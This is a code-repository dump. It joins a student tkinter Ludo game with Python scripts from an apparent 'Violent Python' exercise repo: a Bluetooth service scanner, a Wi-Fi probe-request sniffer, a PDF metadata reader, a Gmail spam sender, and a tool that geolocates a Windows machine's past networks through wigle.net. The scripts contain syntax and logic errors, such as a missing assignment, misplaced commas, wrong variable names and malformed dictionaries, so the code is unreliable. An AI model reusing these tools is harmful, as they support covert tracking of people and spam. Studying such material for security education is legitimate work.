NO CAMINHO PRINCIPAL\r\n # percorer caminho_principal e ver se tem peca\r\n for index, quadrado in enumerate(caminho_principal):\r\n if quadrado != 0 and quadrado != -100:\r\n x_centro_peca = coordenadas_caminho_principal[index][0]\r\n y_centro_peca = coordenadas_caminho_principal[index][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[quadrado])\r\n\r\n # DESENHA PEÇAS NAS CASAS INICIAIS\r\n for casa_inicial in casas_iniciais:\r\n for index_peca, quadrado in enumerate(casa_inicial):\r\n if quadrado < 0 and quadrado != -100:\r\n x_centro_peca = coordenadas_casas_iniciais[quadrado][index_peca][0]\r\n y_centro_peca = coordenadas_casas_iniciais[quadrado][index_peca][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[quadrado])\r\n\r\n # DESENHA PEÇAS NAS RETAS FINAIS\r\n for reta_final in caminhos_coloridos:\r\n for index_peca, quadrado in enumerate(reta_final[:5]):\r\n if quadrado < 0:\r\n x_centro_peca = coordenadas_caminhos_coloridos[quadrado + 1][index_peca][0]\r\n y_centro_peca = coordenadas_caminhos_coloridos[quadrado + 1][index_peca][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[quadrado])\r\n\r\n # DESENHA ABRIGOS\r\n for index, abrigo in enumerate(caminho_principal_abrigos):\r\n # caso a 1a posicao do abrigo esteja vazia e a 2a ocupada\r\n if abrigo[0][0] == 0 and abrigo[0][1] != 0:\r\n cor_da_peca = abrigo[0][1]\r\n x_centro_peca = coordenadas_abrigos[index][0]\r\n y_centro_peca = coordenadas_abrigos[index][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[cor_da_peca])\r\n\r\n # caso a 2a posicao do abrigo esteja vazia e a 1a ocupada\r\n elif abrigo[0][0] != 0 and abrigo[0][1] == 0:\r\n cor_da_peca = abrigo[0][0]\r\n x_centro_peca = coordenadas_abrigos[index][0]\r\n y_centro_peca = coordenadas_abrigos[index][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[cor_da_peca])\r\n\r\n # caso as 2 posicoes dos abrigos estejam ocupadas\r\n elif abrigo[0][0] != 0 and abrigo[0][1] != 0:\r\n # desenha peça 1\r\n cor_da_peca_1 = abrigo[0][0]\r\n x_centro_peca = coordenadas_abrigos[index][0]\r\n y_centro_peca = coordenadas_abrigos[index][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[cor_da_peca_1])\r\n\r\n # desenha peça 2\r\n cor_da_peca_2 = abrigo[0][1]\r\n x_centro_peca = coordenadas_abrigos[index][0]\r\n y_centro_peca = coordenadas_abrigos[index][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30 - 5, my_canvas, cores_peca[cor_da_peca_2])\r\n\r\n # DESENHA BARREIRAS\r\n if caminho_principal_bar: # caso a lista não esteja vazia (ou seja, existem barreiras no tabuleiro)\r\n for barreira in caminho_principal_bar:\r\n posicao_barreira = barreira[1]\r\n cor_barreira = barreira[0]\r\n x_centro_peca = coordenadas_caminho_principal[posicao_barreira][0]\r\n y_centro_peca = coordenadas_caminho_principal[posicao_barreira][1]\r\n create_circle(x_centro_peca, y_centro_peca, W // 30, my_canvas, cores_peca[cor_barreira])\r\n create_circle(x_centro_peca, y_centro_peca, W // 30 - 2, my_canvas, \"white\")\r\n create_circle(x_centro_peca, y_centro_peca, W // 30 - 5, my_canvas, cores_peca[cor_barreira])\r\n\r\n # DESENHA PEÇA CASA FINAL\r\n for index, reta_final in enumerate(caminhos_coloridos):\r\n if reta_final[-1]: # se tem peca na casa final\r\n x_texto_final = coordenadas_casa_final[index][0]\r\n y_texto_final = coordenadas_casa_final[index][1]\r\n numero_pecas_casa_final = len(reta_final[-1])\r\n my_canvas.create_text(x_texto_final, y_texto_final, text=numero_pecas_casa_final,\r\n font=\"Times 20 italic bold\")\r\n\r\n # CANVAS DE OPÇÕES\r\n canvas_opcoes = Canvas(height=200)\r\n canvas_opcoes.pack(side=RIGHT)\r\n canvas_opcoes.create_text(200, 20, text=\"À JOGAR:\")\r\n\r\n # BOTÕES\r\n dado_button = Button(root, text=\"Lançar Dado\", activeforeground=\"cyan\", activebackground=\"dark cyan\")\r\n dado_button[\"command\"] = partial(event_handler.click_joga_dado,\r\n canvas_ops=canvas_opcoes,\r\n canvas_tabuleiro=my_canvas) # maneira de passar parametros (canvas_ops no caso) no evento do click\r\n dado_button.place(x=762, y=400)\r\n\r\n novo_jogo_button = Button(root, text=\"Novo Jogo\", activeforeground=\"cyan\", activebackground=\"dark cyan\",\r\n command=event_handler.click_novo_jogo)\r\n novo_jogo_button.place(x=762, y=30)\r\n\r\n carregar_jogo_button = Button(root, text=\"Carregar Jogo\", activeforeground=\"cyan\", activebackground=\"dark cyan\",\r\n command=event_handler.carrega_arquivo)\r\n carregar_jogo_button.place(x=762, y=80)\r\n\r\n salvar_jogo_button = Button(root, text=\"Salvar\", activeforeground=\"cyan\", activebackground=\"dark cyan\",\r\n command=event_handler.salva_arquivo\r\n )\r\n salvar_jogo_button.place(x=762, y=130)\r\n\r\n # BOTÕES PARA ESOLHER O VALOR DO DADO\r\n um_no_dado = Button(root, text=\"Dado=1\", activeforeground=\"cyan\", activebackground=\"dark cyan\")\r\n um_no_dado[\"command\"] = partial(event_handler.dado_vale_1,\r\n canvas_ops=canvas_opcoes,\r\n canvas_tabuleiro=my_canvas) # maneira de passar parametros (canvas_ops no caso) no evento do click\r\n um_no_dado.place(x=720, y=460)\r\n\r\n dois_no_dado = Button(root, text=\"Dado=2\", activeforeground=\"cyan\", activebackground=\"dark cyan\")\r\n dois_no_dado[\"command\"] = partial(event_handler.dado_vale_2,\r\n canvas_ops=canvas_opcoes,\r\n canvas_tabuleiro=my_canvas) # maneira de passar parametros (canvas_ops no caso) no evento do click\r\n dois_no_dado.place(x=720, y=500)\r\n\r\n tres_no_dado = Button(root, text=\"Dado=3\", activeforeground=\"cyan\", activebackground=\"dark cyan\")\r\n tres_no_dado[\"command\"] = partial(event_handler.dado_vale_3,\r\n canvas_ops=canvas_opcoes,\r\n canvas_tabuleiro=my_canvas) # maneira de passar parametros (canvas_ops no caso) no evento do click\r\n tres_no_dado.place(x=720, y=540)\r\n\r\n quatro_no_dado = Button(root, text=\"Dado=4\", activeforeground=\"cyan\", activebackground=\"dark cyan\")\r\n quatro_no_dado[\"command\"] = partial(event_handler.dado_vale_4,\r\n canvas_ops=canvas_opcoes,\r\n canvas_tabuleiro=my_canvas) # maneira de passar parametros (canvas_ops no caso) no evento do click\r\n quatro_no_dado.place(x=820, y=460)\r\n\r\n cinco_no_dado = Button(root, text=\"Dado=5\", activeforeground=\"cyan\", activebackground=\"dark cyan\")\r\n cinco_no_dado[\"command\"] = partial(event_handler.dado_vale_5,\r\n canvas_ops=canvas_opcoes,\r\n canvas_tabuleiro=my_canvas) # maneira de passar parametros (canvas_ops no caso) no evento do click\r\n cinco_no_dado.place(x=820, y=500)\r\n\r\n seis_no_dado = Button(root, text=\"Dado=6\", activeforeground=\"cyan\", activebackground=\"dark cyan\")\r\n seis_no_dado[\"command\"] = partial(event_handler.dado_vale_6,\r\n canvas_ops=canvas_opcoes,\r\n canvas_tabuleiro=my_canvas) # maneira de passar parametros (canvas_ops no caso) no evento do click\r\n seis_no_dado.place(x=820, y=540)\r\n\r\n\r\ndef desenha_quadrado(my_canvas, pos_peca, tipo_de_casa, cor_de_mudanca=None):\r\n global coordenadas_caminho_principal, vez\r\n raio = W // 30\r\n x_canto_sup = coordenadas_caminho_principal[pos_peca][0] - raio\r\n y_canto_sup = coordenadas_caminho_principal[pos_peca][1] - raio\r\n x_canto_inf = coordenadas_caminho_principal[pos_peca][0] + raio\r\n y_canto_inf = coordenadas_caminho_principal[pos_peca][1] + raio\r\n if tipo_de_casa == \"CASA NORMAL\":\r\n my_canvas.create_rectangle(x_canto_inf, y_canto_inf, x_canto_sup, y_canto_sup, fill=\"white\")\r\n\r\n elif tipo_de_casa == \"ABRIGO\" or tipo_de_casa == \"BARREIRA\":\r\n x_peca = coordenadas_caminho_principal[pos_peca][0]\r\n y_peca = coordenadas_caminho_principal[pos_peca][1]\r\n create_circle(x_peca, y_peca, r=raio, canvasName=my_canvas, cor=cor_de_mudanca)\r\n\r\n\r\ndef limpa_tabuleiro(my_canvas, root):\r\n # redesenha o tabuleiro limpo\r\n my_canvas.create_rectangle(0, 0, 600, 600, fill=\"white\")\r\n desenha(my_canvas, root)\r\n" }, { "alpha_fraction": 0.7079645991325378, "alphanum_fraction": 0.8230088353157043, "avg_line_length": 55.5, "blob_id": "44570d4cb5253e118ffecb5918fec146dd1daf8e", "content_id": "c742fcfb7b84d5fc96bf234aed3c5d7873a49660", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 113, "license_type": "no_license", "max_line_length": 82, "num_lines": 2, "path": "/README.md", "repo_name": "velozo27/INF1301-Programacao-Modular", "src_encoding": "UTF-8", "text": "# INF1301-Programacao-Modular\nProjeto do jogo Ludo para a disciplina INF1301-Programacao-Modular PUC-Rio 2020.2\n" }, { "alpha_fraction": 0.6447368264198303, "alphanum_fraction": 0.7631579041481018, "avg_line_length": 37, "blob_id": "7a3de7921e284235dbf5834f063ea1ee78c5bc3b", "content_id": "d270479e3d17a1d4c4d492f5d3e9dcce75b32031", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 76, "license_type": "no_license", "max_line_length": 44, "num_lines": 2, "path": "/INF1301-Programacao-Modular/README.md", "repo_name": "velozo27/INF1301-Programacao-Modular", "src_encoding": "UTF-8", "text": "# INF1301-Programacao-Modular Puc-Rio 2020.2\nTo run game just run 'main.py'\n" }, { "alpha_fraction": 0.6206896305084229, "alphanum_fraction": 0.6448276042938232, "avg_line_length": 16.125, "blob_id": "40d34d47bb32227c3c7b9ae1977aa3942b872489", "content_id": "8e217b29e2fcbf18a83131a7dd9cfcaf3eef4be3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 290, "license_type": "no_license", "max_line_length": 48, "num_lines": 16, "path": "/INF1301-Programacao-Modular/main.py", "repo_name": "velozo27/INF1301-Programacao-Modular", "src_encoding": "UTF-8", "text": "from tkinter import *\r\nfrom view import draw_canvas\r\nfrom model import game_rules\r\n\r\nW = 600 # x\r\nH = 600 # y\r\n\r\ntop = Tk()\r\ncnv = Canvas(top, bg=\"white\", height=H, width=W)\r\ntop.title(\"LUDO\")\r\n\r\ngame_rules.novo_jogo()\r\ndraw_canvas.desenha_1a_vez(cnv, top)\r\n\r\ncnv.pack()\r\ntop.mainloop()\r\n" } ]
6
tjosten/django-workshop
https://github.com/tjosten/django-workshop
71647bae007852924fa5b834b854bc7089cc7d3f
7094392722cc2521778364ae881a91f47b91d6b5
350e90cd3c2ef0a3f2c59549e95dd170df80c593
refs/heads/master
2021-03-12T23:49:29.989929
2012-07-27T09:52:51
2012-07-27T09:52:51
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7062706351280212, "alphanum_fraction": 0.7062706351280212, "avg_line_length": 26.454545974731445, "blob_id": "a04bc9aa6f86f4b3da4c61d40651239e8a8c5e1d", "content_id": "a4ff8b57a5ff5062bff4fb0e7176289fdd5fc00f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 303, "license_type": "no_license", "max_line_length": 56, "num_lines": 11, "path": "/blog/forms.py", "repo_name": "tjosten/django-workshop", "src_encoding": "UTF-8", "text": "# django.form\n# import utilities to build forms, e.g. from models\nfrom django.forms import ModelForm\n# blog.models\n# import our comment model\nfrom blog.models import Comment\n\nclass CommentForm(ModelForm):\n class Meta:\n model = Comment\n fields = ('author_name', 'author_email', 'text')\n\n" }, { "alpha_fraction": 0.6750250458717346, "alphanum_fraction": 0.6793714761734009, "avg_line_length": 31.5, "blob_id": "d4494b37d700db79dbfeaf03a1c93fa5e7554cab", "content_id": "b425e62cb7d8e9fd59e9b5f8e9d95d2ded4e0bdc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2991, "license_type": "no_license", "max_line_length": 127, "num_lines": 92, "path": "/blog/views.py", "repo_name": "tjosten/django-workshop", "src_encoding": "UTF-8", "text": "# django.shortcuts\n# Required for putting together a response, and other useful tools\nfrom django.shortcuts import render_to_response, get_object_or_404\n# django.http\n# http stack, default http response actions\nfrom django.http import Http404, HttpResponseServerError, HttpResponseRedirect, HttpResponse, HttpResponseNotFound, HttpRequest\n# django.template\n# Functionality required for building templates \nfrom django.template import RequestContext\n# django.db\n# e.g. the magic Q thing for creating great queries with the database abstraction layer\nfrom django.db.models import Q\n# django.core\n# Core packages, e.g. url resolver, Paginator\nfrom django.core.urlresolvers import reverse\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n# blog.models\n# Import our blog's models\nfrom blog.models import *\n# blog.forms\n# Import our blog's forms\nfrom blog.forms import *\n# custom imports\nimport datetime\n\n############################\n# Workshop Blog App - Views\n############################\n\nBLOG_ITEMS_PER_PAGE = 3\nCOMMENTS_PER_PAGE = 3\n\ndef list_view(request, page_num=None):\n\n # We're now going to fetch all available blog entries\n entries_raw = Entry.objects.all().order_by('-pub_date')\n\n # Initializing the paginator\n paginator = Paginator(entries_raw, BLOG_ITEMS_PER_PAGE)\n\n # Determining current page\n try:\n entries = paginator.page(page_num)\n except PageNotAnInteger:\n entries = paginator.page(1)\n except EmptyPage:\n entries = paginator.page(paginator.num_pages)\n\n return render_to_response(\"blog/list.html\", locals(), context_instance=RequestContext(request))\n\ndef entry_view(request, url_slug, page_num=None):\n \n # We're trying to fetch the single entry now by the url_slug given\n entry = get_object_or_404(Entry, url_slug=url_slug)\n\n\n \"\"\"\n WORKSHOP NOTE\n\n This part could be highly optimized. Any ideas? :)\n \"\"\"\n\n # Build comment form\n if request.POST:\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = Comment(\n author_name=form.cleaned_data['author_name'],\n author_email=form.cleaned_data['author_email'],\n text=form.cleaned_data['text'],\n pub_date=datetime.datetime.now(),\n entry=entry).save() \n # clear the comment form\n form = CommentForm()\n else:\n form = CommentForm()\n\n # Fetching the raw comments for this entry\n comments_raw = Comment.objects.filter(entry=entry).order_by('-pub_date')\n\n # Initializing the paginator\n paginator = Paginator(comments_raw, COMMENTS_PER_PAGE)\n\n # Determining current page\n try:\n comments = paginator.page(page_num)\n except PageNotAnInteger:\n comments = paginator.page(1)\n except EmptyPage:\n comments = paginator.page(paginator.num_pages)\n\n return render_to_response(\"blog/entry.html\", locals(), context_instance=RequestContext(request))\n\n" }, { "alpha_fraction": 0.7069792151451111, "alphanum_fraction": 0.7139051556587219, "avg_line_length": 42.651161193847656, "blob_id": "acbfd9cf16c7f356657bed3a90cd8f4922800934", "content_id": "0e74bad84b637b5a0c33324e1862f3d44998f2f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1880, "license_type": "no_license", "max_line_length": 131, "num_lines": 43, "path": "/blog/models.py", "repo_name": "tjosten/django-workshop", "src_encoding": "UTF-8", "text": " # coding=utf8\n\n# django.db\n# Import basic models and field definitions\nfrom django.db import models\n# django.contrib.auth.models\n# Import django user model\nfrom django.contrib.auth.models import User\n# datetime\n# Python datetime\nfrom datetime import datetime\n# workshop.settings\n# import our settings\nfrom workshop.settings import MEDIA_ROOT\n\nclass Entry(models.Model):\n title = models.CharField(max_length=100, null=False, blank=False, help_text=\"Titel des Blog-Eintrags\")\n text = models.TextField(null=False, blank=False, help_text=\"Der Blog-Eintrag\")\n pub_date = models.DateTimeField(default=datetime.now(), help_text=\"Datum und Uhrzeit\")\n author = models.ForeignKey(User, null=False, blank=False, help_text=\"Autor\")\n url_slug = models.SlugField(max_length=255, null=False, blank=False, unique=True, help_text=\"URL-Slug für diesen Eintrag\")\n image = models.ImageField(upload_to=\"keyvisuals/\", help_text=\"Keyvisual-Bild für diesen Artikel\")\n\n def __unicode__(self):\n return \"%s (von %s)\" % (self.title, self.author)\n\n class Meta:\n verbose_name = 'Eintrag'\n verbose_name_plural = 'Einträge'\n\nclass Comment(models.Model):\n entry = models.ForeignKey(Entry, null=False, blank=False)\n author_name = models.CharField(max_length=100, null=False, blank=False, help_text=\"Name des Autors\", verbose_name=\"Name\")\n author_email = models.EmailField(null=False, blank=False, help_text=\"E-Mail Adresse des Autors\", verbose_name=\"E-Mail Adresse\")\n pub_date = models.DateTimeField(auto_now_add=True, help_text=\"Datum und Uhrzeit\")\n text = models.TextField(null=False, blank=False, max_length=500, help_text=\"Der Kommentar\", verbose_name=\"Kommentar\")\n\n def __unicode__(self):\n return \"%s zu %s\" % (self.author_name, self.entry)\n\n class Meta:\n verbose_name = 'Kommentar'\n verbose_name_plural = 'Kommentare'" }, { "alpha_fraction": 0.746434211730957, "alphanum_fraction": 0.7511885762214661, "avg_line_length": 36.17647171020508, "blob_id": "c1c5b47553c0d090fd15061627cdb7397edac0c3", "content_id": "0587c9c45226a808c0fc7e16137199033821a8de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 631, "license_type": "no_license", "max_line_length": 127, "num_lines": 17, "path": "/workshop/views.py", "repo_name": "tjosten/django-workshop", "src_encoding": "UTF-8", "text": "# django.shortcuts\n# Required for putting together a response, and other useful tools\nfrom django.shortcuts import render_to_response\n# django.http\n# http stack, default http response actions\nfrom django.http import Http404, HttpResponseServerError, HttpResponseRedirect, HttpResponse, HttpResponseNotFound, HttpRequest\n# django.template\n# functionality required for building templates \nfrom django.template import RequestContext\n\n\n########################\n# Workshop Core - Views\n########################\n\ndef welcome_view(request):\n return render_to_response(\"welcome.html\", locals(), context_instance=RequestContext(request))" }, { "alpha_fraction": 0.7062374353408813, "alphanum_fraction": 0.7062374353408813, "avg_line_length": 25.210525512695312, "blob_id": "ebe7717c7eca1b4c7dfb2fefbce24d43921b3c59", "content_id": "44f1645ad31b60812b34cb4379779aa608e713c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 497, "license_type": "no_license", "max_line_length": 51, "num_lines": 19, "path": "/blog/admin.py", "repo_name": "tjosten/django-workshop", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom blog.models import *\n# settings\n# Import values from settings\nfrom workshop.settings import STATIC_URL\n\nclass TinyMceMedia:\n js = (\n STATIC_URL + 'tiny_mce/tiny_mce.js',\n STATIC_URL + 'js/textareas.js',\n )\n\nclass EntryAdmin(admin.ModelAdmin):\n # Set up the url_slug field to be autopopulated\n prepopulated_fields = {'url_slug':('title',),}\n Media = TinyMceMedia\n\nadmin.site.register(Entry, EntryAdmin)\nadmin.site.register(Comment)" }, { "alpha_fraction": 0.7162303924560547, "alphanum_fraction": 0.7162303924560547, "avg_line_length": 33.14285659790039, "blob_id": "9236ddd4c0289172a86b0ebe50abcf43d9c71c29", "content_id": "7341771d9ff02af1f893164a053ef7430f67f45a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 955, "license_type": "no_license", "max_line_length": 113, "num_lines": 28, "path": "/workshop/urls.py", "repo_name": "tjosten/django-workshop", "src_encoding": "UTF-8", "text": "from django.conf.urls import patterns, include, url\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\nfrom workshop.settings import MEDIA_ROOT\n\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # The workshop welcome view\n url(r'^$', 'workshop.views.welcome_view', name='welcome'),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n url(r'^admin/', include(admin.site.urls)),\n\n # Workshop Blog URL Config\n url(r'^blog/', include('blog.urls')),\n\n # Media serving for dev server\n (r'^media/(?P<path>.*)$', 'django.views.static.serve', {'document_root': MEDIA_ROOT, 'show_indexes': True }),\n)\n\n# Automatically serve static files in development setup\nurlpatterns += staticfiles_urlpatterns()" }, { "alpha_fraction": 0.6232638955116272, "alphanum_fraction": 0.6232638955116272, "avg_line_length": 51.181819915771484, "blob_id": "fb34b6a0e26f06bc550000fd22925b67ac02e494", "content_id": "1d42373a044807047cb9a444542e688da679e606", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 576, "license_type": "no_license", "max_line_length": 102, "num_lines": 11, "path": "/blog/urls.py", "repo_name": "tjosten/django-workshop", "src_encoding": "UTF-8", "text": "from django.conf.urls import patterns, include, url\n\nurlpatterns = patterns('',\n # The list_view, our Homepage with all our blog entries listed, including a page option behind it\n url(r'^$', 'blog.views.list_view', name='blog-home'),\n url(r'^(?P<page_num>(\\d+))/$', 'blog.views.list_view', name='blog-home'),\n\n # The entry_view, displaying a single Entry with comments etc.\n url(r'^(?P<url_slug>([-\\w]+))/$', 'blog.views.entry_view', name='blog-entry'),\n url(r'^(?P<url_slug>([-\\w]+))/(?P<page_num>(\\d+))/$', 'blog.views.entry_view', name='blog-entry'),\n)\n\n\n" } ]
7
n1cfury/ViolentPython
https://github.com/n1cfury/ViolentPython
e9ce68b4521c6777e2ea15f6e1861327f0a606eb
c758de753bd56fe8b5c5b6db6f0f1b134023bf6f
1c4fcff4694fda6cb4ad7c39306962f764010595
refs/heads/master
2021-01-09T06:01:23.680640
2017-03-27T02:03:03
2017-03-27T02:03:03
80,876,398
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6180048584938049, "alphanum_fraction": 0.6253041625022888, "avg_line_length": 20.6842098236084, "blob_id": "faa6eb172e2eb0408757eaae9af5cf3a4d5f4157", "content_id": "f0eecb138bf46f308ad04372807648c2a3862703", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 411, "license_type": "permissive", "max_line_length": 57, "num_lines": 19, "path": "/sdpScan.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "from bluetooth import *\n\ndef banner():\n\tprint \"[***]\tBluetooth SDP scan p207\t\t[***]\"\n\ndef sdpBrowse(addr):\n\tservices = find_service(address=addr)\n\tfor service in services:\n\t\tname = service['name']\n\t\tproto = service['protocol']\n\t\tport = str(service['port'])\n\t\tprint '[+] Found '+str(name)+' on '+str(proto)+':'+port\n\ndef main():\n\tbanner()\n\tsdpBrowse(addr)\t\t#addr = MAC address\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.6433566212654114, "alphanum_fraction": 0.6736596822738647, "avg_line_length": 20.5, "blob_id": "65d9f920d6243a2d9943e2929a3cb6232c42addf", "content_id": "36a4747de19880cc088fac6b1ccea3533e231805", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 429, "license_type": "permissive", "max_line_length": 51, "num_lines": 20, "path": "/sniffProbes.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "from scapy.all import *\ninterface = 'mon0'\nprobeReqs = []\n\ndef banner():\n\tprint \"[***]\t802.11 Probe Requests p187\t[***]\"\n\ndef sniffProbe(p):\n\tif p.haslayer(Dot11ProbeReq):\n\t\tnetName = p.getlayer(Dot11ProbeReq).info\n\t\tif netName not in probeReqs:\n\t\t\tprobeReqs.append(netName)\n\t\t\tprint '[+] Detected New Probe Request: '+netName\n\ndef main():\n\tdef banner()\n\tsniff(iface=interface, prn=sniffProbe)\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.6266666650772095, "alphanum_fraction": 0.6306666731834412, "avg_line_length": 26.703702926635742, "blob_id": "92d0c8f1985e498055800261fd24e48a5cd8f21a", "content_id": "b63075f5809227b378ff6635fdbbedf819f6a751", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 750, "license_type": "permissive", "max_line_length": 87, "num_lines": 27, "path": "/pdfRead.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "\n\nimport pyPdf, optparse\nfrom pyPdf import PdfFileReader\n\ndef banner():\n print \"##### PDF Reader p94 #####\"\n\ndef printMeta(filename):\n pdfFile = PdfFileReader(file(fileName, 'rb'))\n docinfo pdfFile.getDocumentInfo()\n print '[*] PDF Metadata for: '+str(fileName)\n for metaItem in docInfo:\n \tprint '[+] '+metaItem+':'+docInfo[metaItem]\n\ndef main():\n\tbanner()\n\tparser = optparse.OptionParser('usage%prog '+'-F <PDF File Name>')\n\tparser.add_option('-F', dest='filename', type ='string', help='Specify PDF File Name')\n\t(options, args) = parser.parse_args()\n\tfileName = options.fileName\n\tif filename == None:\n\t\tprint parser.usage\n\t\texit(0)\n\telse:\n\t\tprintMeta(fileName)\n\nif __name__ == '__main__':\n\tmain()\n" }, { "alpha_fraction": 0.6419001221656799, "alphanum_fraction": 0.6492083072662354, "avg_line_length": 22.485713958740234, "blob_id": "ae5852913531a3119a56da619385720ce3b17310", "content_id": "cd0eeaf9d35649649f6d9ec04a48d7d19d80eefe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 821, "license_type": "permissive", "max_line_length": 79, "num_lines": 35, "path": "/sendSpam.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "import smtplib\n\nuser = 'username'\npwd = 'password'\nmsg =MIMEText(text)\nmsg['From'] = user\nmsg['To'] = to\nmsg['subject'] = subject\n\ndef banner():\n\tprint \"[***]\tAnon-mail p238\t\t[***]\"\n\ndef sendMail(user, pwd, to, subject, text):\n\ttry:\n\t\tsmtpServer = smtplib.SMTP('smtp.gmail.com', 587)\n\t\tprint \"[+] Connecting to Mail Server.\"\n\t\tsmtpServer.ehlo()\n\t\tprint \"[+] Starting Encrypted Session.\"\n\t\tsmtpServer.starttls()\n\t\tsmtpServer.ehlo()\n\t\tprint \"[+] Logging Into Mail Server.\"\n\t\tsmtpServer.login(user, pwd)\n\t\tprint \"[+] Sending Mail.\"\n\t\tsmtpServer.sendmail(user, to, msg.as_string())\n\t\tsmtpServer.close()\n\t\tprint \"[+] Mail Sent Successfully.\"\n\texcept:\n\t\tprint \"[-] Sending Mail failed.\"\n\ndef main():\n\tbanner()\n\tsendMail(user, pwd, '<target email address>', 'Re: Important', 'Test Message')\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.6490803360939026, "alphanum_fraction": 0.6587609052658081, "avg_line_length": 29.397058486938477, "blob_id": "f716a39b414d9cbf2faf0cbf6dcac7f786f4bbdb", "content_id": "c42870e36cbc16a81f6d880709bdca81504c7b44", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2066, "license_type": "permissive", "max_line_length": 88, "num_lines": 68, "path": "/discoverNetworks.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport os, optparse, mechanize, urllib, re, urlparse\nfrom _winreg import *\n\ndef banner():\n\tprint \"####### Access Points in Registry p87 #######\"\n\ndef val2addr(val):\n\taddr = ' '\n\tfor ch in val:\n\t\taddr += '%02x '% ord(ch)\n\taddr = addr.strip(' ').replace(' ', ':')[0:17]\n\treturn addr\n\ndef wiglePrint(username, password, netid):\n\tbrowser = mechanize.Browser()\n\tbroser.open('http://wigle.net')\n\treqData = urllib.urlencode(['credential_0': username, 'credential_l': password])\n\tbrowser.open('https://wigle.net/gps/gps/main/login', reqData)\n\tparams = []\n\tparams ['netid'] = netid\n\treqParams = urllib.urlencode(params)\n\trespURL = 'http://wigle.net/gps/gps/main/confirmquery/'\n\tresp = browser.open(respURL, reqParams).read()\n\tmalLap = 'N/A'\n\tmapLon = 'N/A'\n\trLat = re.findall(r'maplat=.*\\&', resp)\n\tif rLat:\n\t\tmapLat = rlat[0].split('&')[0].split('=')[1]\n\trLon = re.findall(r'maplon=.*\\&,' resp)\n\tif rLon:\n\t\tmapLon = rLon[0].split\n\tprint '[-] Lat: '+mapLat+', Lon: '+mapLon\n\ndef printNets(username, password):\n\tnet = \"SOFTARE\\Microsoft\\Windows NT\\CurrentVersion\"+\"\\Networklist\\Signatures\\Unmanaged\"\n\tkey = OpenKey(HKEY_LOCAL_MACHINE, net)\n\tprint '\\n[*] Networks you have joined.'\n\tfor i in range(100):\n\t\ttry:\n\t\t\tguid = EnumKey(key, i)\n\t\t\tnetKey - OpenKey(keh, str(guid))\n\t\t\t(n, addr, t) = EnumValue(netKey, 5)\n\t\t\t(n,name, t) = EnumValue(netKey, 4)\n\t\t\tmacAddr = val2addr(addr)\n\t\t\tnetName = str(name)\n\t\t\tprint '[+] '+netName+' '+macAddr\n\t\t\twiglePrint(username, password, macAddr)\n\t\t\tCloseKey(netKey)\n\t\texcept:\n\t\t\tbreak\n\ndef main():\n\tbanner()\n\tparser = optparse.Optionparser(\"usage%prog\"+\"-u <wigle username> -p <wigle password>\")\n\tparser.add_option('-u', dest='username', type='string', help='specify wigle username')\n\tparser.add_option('-p', dest='password', type='string', help='specify wigle password')\n\t(optinos, args) = parser.parse_args()\n\tusername = options.username\n\tpassword = options.password\n\tif username == None or password == None:\n\t\tprint parser.usage\n\t\texit(0)\n\telse:\n\t\tprintNets(username, password)\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.6502732038497925, "alphanum_fraction": 0.6557376980781555, "avg_line_length": 21.91666603088379, "blob_id": "dd159796180fc22ce58207269058c7f2f56b5cd3", "content_id": "b76663bebe0a9e1d7346ebbfaa5b5a1c6e01aeeb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 549, "license_type": "permissive", "max_line_length": 69, "num_lines": 24, "path": 